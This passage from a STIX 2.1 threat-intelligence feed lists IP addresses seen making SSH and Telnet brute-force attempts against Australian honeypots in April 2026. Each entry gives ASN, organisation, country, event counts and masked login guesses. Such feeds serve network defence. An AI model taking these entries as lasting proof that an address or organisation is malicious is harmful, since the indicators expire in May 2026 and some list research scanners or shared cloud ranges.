      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, u****u, 3**********4, ***, o****e. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1******4, 1*********t.",
      "id": "indicator--da934139-e66c-45dd-9508-9fcd3183eb33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.165.88.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T03:15:06.000Z",
      "valid_until": "2026-05-16T03:15:02.000Z"
    },
    {
      "created": "2026-04-14T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): o**o, r**t, 3**********4, c**t, c****e. Passwords observed (masked): *, 3***********4, 3**********4, C******7, Q**********!.",
      "id": "indicator--9462fae7-c6d2-4484-84d7-92b8c5e1a1fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.133.148.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T03:15:06.000Z",
      "valid_until": "2026-05-16T03:15:02.000Z"
    },
    {
      "created": "2026-04-14T04:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--19f5fe97-d80d-4f8f-b950-141afb2a856f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.188.98.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:15:18.000Z",
      "valid_until": "2026-05-16T04:15:08.000Z"
    },
    {
      "created": "2026-04-14T04:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--016b8160-f233-4611-be22-6bff02cb5a77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.199.160.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:15:18.000Z",
      "valid_until": "2026-05-16T04:15:08.000Z"
    },
    {
      "created": "2026-04-14T04:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--99ad1d7b-d70b-496e-a405-b8126f5c0f7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.82.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:15:18.000Z",
      "valid_until": "2026-05-16T04:15:08.000Z"
    },
    {
      "created": "2026-04-14T04:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): r**t. Passwords observed (masked): A********0, H********3, Q********4.",
      "id": "indicator--b7909539-1aed-4cad-8a1f-9a925a177baf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '140.246.70.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:15:18.000Z",
      "valid_until": "2026-05-16T04:15:08.000Z"
    },
    {
      "created": "2026-04-14T04:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1cfbe0f6-eb90-4b4c-887b-d10fbe9d3fcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.165.85.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:15:18.000Z",
      "valid_until": "2026-05-16T04:15:08.000Z"
    },
    {
      "created": "2026-04-14T04:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--777f4d63-97ed-4dea-8e29-b1983e929cac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.2.83.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:15:18.000Z",
      "valid_until": "2026-05-16T04:15:08.000Z"
    },
    {
      "created": "2026-04-14T04:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6481c2ec-d5ea-44ff-a8e4-07afcef9d882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.141.76.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:15:18.000Z",
      "valid_until": "2026-05-16T04:15:08.000Z"
    },
    {
      "created": "2026-04-14T05:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7ee3d073-adc9-4dbd-bfa2-97e16eb7c55c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T05:15:38.000Z",
      "valid_until": "2026-05-16T05:15:08.000Z"
    },
    {
      "created": "2026-04-14T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7311. Organisation(s): Frontier Networks Inc.",
      "id": "indicator--a7b43e98-b9ff-46df-be50-31642fb698ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.126.86.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T05:15:38.000Z",
      "valid_until": "2026-05-16T05:15:08.000Z"
    },
    {
      "created": "2026-04-14T05:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--3a8e5c8d-69d8-46e3-9e0a-957c659b0365",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.64.174.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T05:15:38.000Z",
      "valid_until": "2026-05-16T05:15:08.000Z"
    },
    {
      "created": "2026-04-14T06:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): g***a. Passwords observed (masked): *.",
      "id": "indicator--db49eb23-f452-4610-8c7d-d7fb4c22e67d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.169.192.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:15:23.000Z",
      "valid_until": "2026-05-16T06:15:02.000Z"
    },
    {
      "created": "2026-04-14T06:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): A*******A.",
      "id": "indicator--19294855-84f0-468a-a7cf-31c40894f5f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.110.63.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:15:23.000Z",
      "valid_until": "2026-05-16T06:15:02.000Z"
    },
    {
      "created": "2026-04-14T06:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): g***a. Passwords observed (masked): *.",
      "id": "indicator--de01f5df-2210-4c8c-b5a3-d31a12175373",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.164.195.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:15:23.000Z",
      "valid_until": "2026-05-16T06:15:02.000Z"
    },
    {
      "created": "2026-04-14T06:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--4059cf2a-6db6-4087-9833-2cc70e27efc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.14.74.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:15:23.000Z",
      "valid_until": "2026-05-16T06:15:02.000Z"
    },
    {
      "created": "2026-04-14T06:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54004. Organisation(s): Cablevision Lightpath LLC. Usernames observed (masked): r**t. Passwords observed (masked): a********h.",
      "id": "indicator--6643f07c-4dbc-4e15-8e43-052a2a11c4d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T06:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '69.74.29.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:15:23.000Z",
      "valid_until": "2026-05-16T06:15:02.000Z"
    },
    {
      "created": "2026-04-14T07:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d39a92a3-5ae1-4017-80ba-10c97aec1599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.104.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T07:15:03.000Z",
      "valid_until": "2026-05-16T07:15:01.000Z"
    },
    {
      "created": "2026-04-14T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 576. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, u**r, s*****t. Passwords observed (masked): a***n, 1****6, p******d, 1**4, 0**************D.",
      "id": "indicator--3ad33feb-1216-45a2-be62-229e4597fc6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.216.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T07:15:03.000Z",
      "valid_until": "2026-05-16T07:15:01.000Z"
    },
    {
      "created": "2026-04-14T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 482. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, c***o, *****, 1**4. Passwords observed (masked): 1**4, 1***5, 1****6, *****, 0*************7.",
      "id": "indicator--ba82ed5d-57b7-4b0c-8964-a34dcf144dfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.172.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T07:15:03.000Z",
      "valid_until": "2026-05-16T07:15:01.000Z"
    },
    {
      "created": "2026-04-14T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 426. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, u****u, 3**********4, f****e, o**o. Passwords observed (masked): 3***********4, 3**********4, *, 1********., 1******x.",
      "id": "indicator--612946e9-ffe8-4d51-af2a-10bda1f89edf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.37.160.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T07:15:03.000Z",
      "valid_until": "2026-05-16T07:15:01.000Z"
    },
    {
      "created": "2026-04-14T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, 3**********4, ***, c****e, d****r. Passwords observed (masked): 1********6, 1****6, 3***********4, 3**********4, B********3.",
      "id": "indicator--1228ef2b-1c58-4c9d-8689-1e6ac9f4a315",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.32.223.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T07:15:03.000Z",
      "valid_until": "2026-05-16T07:15:01.000Z"
    },
    {
      "created": "2026-04-14T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, c****e, d******1, d****y. Passwords observed (masked): ***, 1******8, 3***********4, 3**********4, A*********0.",
      "id": "indicator--5d3ee39d-f321-48b5-96e5-e8a969a482ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.143.61.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T07:15:03.000Z",
      "valid_until": "2026-05-16T07:15:01.000Z"
    },
    {
      "created": "2026-04-14T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4e861962-a64a-4c4c-b285-0ecc9b9a0e89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T07:15:03.000Z",
      "valid_until": "2026-05-16T07:15:01.000Z"
    },
    {
      "created": "2026-04-14T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b1c408d3-66c6-4e38-a41d-c65e6c6340e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.198.216.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T08:15:03.000Z",
      "valid_until": "2026-05-16T08:15:01.000Z"
    },
    {
      "created": "2026-04-14T09:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 149667. Organisation(s): PT Gading Bhakti Utama.",
      "id": "indicator--03f70773-f58a-4817-be4f-99b08be7e6f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T09:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.184.56.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T09:15:20.000Z",
      "valid_until": "2026-05-16T09:15:01.000Z"
    },
    {
      "created": "2026-04-14T09:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--8af6e959-0970-4013-a9c6-c8c0bc872d1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T09:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T09:15:20.000Z",
      "valid_until": "2026-05-16T09:15:01.000Z"
    },
    {
      "created": "2026-04-14T09:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--d42a4479-dfa5-4231-809c-5e7db5888397",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T09:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T09:15:20.000Z",
      "valid_until": "2026-05-16T09:15:01.000Z"
    },
    {
      "created": "2026-04-14T09:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 206123. Organisation(s): Xelon AG. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--f4a3b475-2c6f-4962-98ad-203492c11882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T09:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.211.94.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T09:15:20.000Z",
      "valid_until": "2026-05-16T09:15:01.000Z"
    },
    {
      "created": "2026-04-14T09:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f537348c-4f0f-4cab-907e-aa420cead9b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T09:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T09:15:20.000Z",
      "valid_until": "2026-05-16T09:15:01.000Z"
    },
    {
      "created": "2026-04-14T09:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6079. Organisation(s): RCN.",
      "id": "indicator--c9c738c6-8c1c-45c4-b61f-5a370e967a67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T09:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '24.35.115.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T09:15:20.000Z",
      "valid_until": "2026-05-16T09:15:01.000Z"
    },
    {
      "created": "2026-04-14T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, c****e, f****e, u****u. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, A******..",
      "id": "indicator--872b8798-d504-422b-994b-03a0eb8c9d43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T10:15:03.000Z",
      "valid_until": "2026-05-16T10:15:01.000Z"
    },
    {
      "created": "2026-04-14T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, k******e, o**o, ***. Passwords observed (masked): 3***********4, 3**********4, *, 1**1, 1****6.",
      "id": "indicator--bce34d88-1b4f-4207-bacd-a48ceef3d6ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T10:15:03.000Z",
      "valid_until": "2026-05-16T10:15:01.000Z"
    },
    {
      "created": "2026-04-14T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--cad54558-1cbb-492e-b113-87e0ff0f43f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T10:15:03.000Z",
      "valid_until": "2026-05-16T10:15:01.000Z"
    },
    {
      "created": "2026-04-14T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--ddd31d00-5906-4082-8f95-be6af8bbbc31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T10:15:03.000Z",
